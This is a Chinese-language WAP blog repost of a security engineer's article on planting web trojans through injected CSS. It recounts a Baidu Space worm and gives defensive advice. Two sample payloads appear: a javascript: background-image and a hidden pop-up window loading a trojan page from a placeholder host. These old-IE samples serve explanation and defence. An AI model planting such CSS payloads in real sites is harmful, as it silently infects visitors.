<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
<head>
<meta http-equiv="Cache-Control" content="max-age=0"/>
</head>
<card id="wapview" title="日志内容">
-- 日志内容 --<p>随着Web2.0的普及，各种网页特效用得越来越多，这也给黑客一个可乘之机。他们发现，用来制作网页特效的CSS代码，也可以用来挂马。而比较讽刺的是，CSS挂马方式其实是从防范IFRAME挂马的CSS代码演变而来。   文章转自 皮皮学习网<br/><br/>　　安天实验室阿楠：安全工程师，从事病毒分析多年。<br/><br/>　　网站挂马的手段最初非常单一，但是随着Web2.0技术以及Blog、Wiki等广泛的应用，挂马也涌现出各种各样的技术，其中CSS挂马方式，可以说是Web2.0时代黑客的最爱。有许多非常著名的网站都被黑客用CSS挂马入侵过。<br/><br/>　　在我印象中，记忆最深刻的一次是百度空间CSS挂马。当时，百度空间推出没有多久，就有许多百度用户收到了类似“哈，节日快乐呀!热烈庆祝2008，心情好好，记住要想我!http://hi.baidu.com/XXXXX”的站内消息。<br/><br/>　　由于网址是百度空间的网址，许多用户认为不会存在安全问题，加上又有可能是自己朋友发来的，因此会毫不犹豫地点击进入。但是进入指定的网址后，用户就会感染蠕虫病毒，并继续传播。<br/><br/>　　由于蠕虫扩散非常严重，最终导致百度空间不得不发布官方声明提醒用户，并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能，通过变形的expression在CSS代码中动态执行脚本，让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。<br/><br/>　　我建议大家在点击陌生链接时，要多个心眼，大网站也是可能被挂马的。大家在上网时，最好还是使用一些带网页木马拦截功能的安全辅助工具。<br/><br/>　　黑客为什么选择CSS挂马?<br/><br/>　　在Web1.0时代，使用IFRAME挂马对于黑客而言，与其说是为了更好地实现木马的隐藏，倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中，黑客可以利用的手段也非常有限，即使采取了复杂的伪装，也很容易被识破，还不如IFRAME来得直接和有效。<br/><br/>　　但如今交互式的Web2.0网站越来越多，允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中，往往会提供丰富的功能，并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改，这促使了CSS挂马流行。<br/><br/>　　小百科：CSS是层叠样式表(Cascading Style Sheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。<br/><br/>　　黑客在利用CSS挂马时，往往是借着网民对某些大网站的信任，将CSS恶意代码挂到博客或者其他支持CSS的网页中，当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病，你非常信任医院，但是你所看的门诊却已经被庸医外包了下来，并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时，医院此时也往往一脸无辜。对于安全工程师而言，CSS挂马的排查是必备常识。<br/><br/>　　CSS挂马攻防实录<br/><br/>　　攻CSS挂马方式较多，但主流的方式是通过有漏洞的博客或者SNS社交网站系统，将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。<br/><br/>　　方式1：<br/><br/>　　Body{<br/>　　background-image: url('javascript:document.write(""')<br/>　　}<br/><br/>　　“background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式，这段恶意代码主要是通过“background-image”配合JavaScript代码让网页木马悄悄地在用户的电脑中运行。<br/><br/>　　那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置，然后将该段恶意代码写入挂马网站的网页中，或者挂马网页所调用的CSS文件中。<br/><br/>　　小百科：使用Body对象元素，主要是为了让对象不再改变整个网页文档的内容，通过Body对象的控制，可以将内容或者效果控制在指定的大小内，如同使用DIV对象那样精确地设置大小。<br/><br/>　　方式2：<br/><br/>　　Body{<br/>　　background-image: url(javascriptpen(' http://www.X.com/muma.htm '，'newwindow'，'height=0， width=0， top=1000， left=0， toolbar=no， menubar=no， scrollbars=no， resizable=no，location=no， status=no'))<br/>　　}<br/><br/>　　方式1的CSS挂马技术，在运行时会出现空白的页面，影响网页访问者正常的访问，因此比较容易发现。不过在方式2中的这段代码，使用了JavaScript的Open开窗，通过新开一个隐藏的窗口，在后台悄悄地运行新窗口并激活访问网页溢出木马页面，不会影响访问者观看网页内容，因此更加隐蔽。<br/><br/>　　防网络服务器被挂马，通常会出现防病毒软件告警之类的信息。由于漏洞不断更新，挂马种类时刻都在变换，通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志，发现异常信息，经常检查网站代码，使用网页木马检测系统，进行排查。<br/><br/>　　目前除了使用以前的阻断弹出窗口防范CSS挂马之外，还可以在网页中设置CSS过滤，将CSS过滤掉。不过如果你选择过滤CSS的话，首先需要留意自己的相关网页是否有CSS的内容，因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示：<br/><br/>　　iframe{miao1:expression(this.src='about:blank'，this.outerHTML='');}<br/>　　script{miao2:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}<br/><br/></p><br/><a href="wapblog.asp">返回</a> | <a href="index.asp">首页</a>
</card>
</wml>